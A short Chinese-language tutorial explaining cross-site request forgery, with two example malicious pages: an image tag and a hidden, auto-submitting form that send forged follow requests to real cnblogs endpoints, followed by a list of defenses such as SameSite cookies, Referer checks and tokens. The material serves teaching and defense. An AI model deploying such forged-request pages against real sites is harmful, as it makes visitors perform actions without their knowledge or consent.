csrf攻击
csrf 是跨站点伪造请求,主要利用发请求,浏览器每次都会自动带上 cookie 这个特点。
下面我们看看例子:
例子一:
如果博客园有一个关注博主的api是get请求的话,那这里我新建一个恶意页面:
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> <img src="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx?blogUserGuid=18a5f476-18f4-e611-845c-ac853d9f53ac"/> </body> </html>
在访问这个页面那一瞬,img就会跨域get请求这个api,你不知不觉间同时也像博客园这个接口发送了get请求,在你知情的情况下帮你关注了博主
例子二:
如果这个api不是get而是post呢?那么恶意网站就会尝试通过表单来跨域post请求api
<!--恶意页面主页--> <!DOCTYPE HTML> <html lang="en"> <body> <iframe src="./form.html" style="display:none"></iframe> </body> </html> <!--iframe--> <!DOCTYPE html> <html lang="en"> <body> <form action="https://home.cnblogs.com/ajax/follow/followUser" method="post"> <input name="userId" value="18a5f476-18f4-e611-845c-ac853d9f53ac"/> <input name="remark" value=""/> <input type="submit" value="提交" /> </form> <script> document.querySelector('form').submit(); </script> </body> </html>
防御措施:
1. cookie 设置 samesite 属性,不允许跨域传递 cookie
2. 检测Referer是否是本站的域名 ------- 最常用的了
3. 用Token存放在Cookie以外的位置(例如作为get参数、作为自定义Http Header)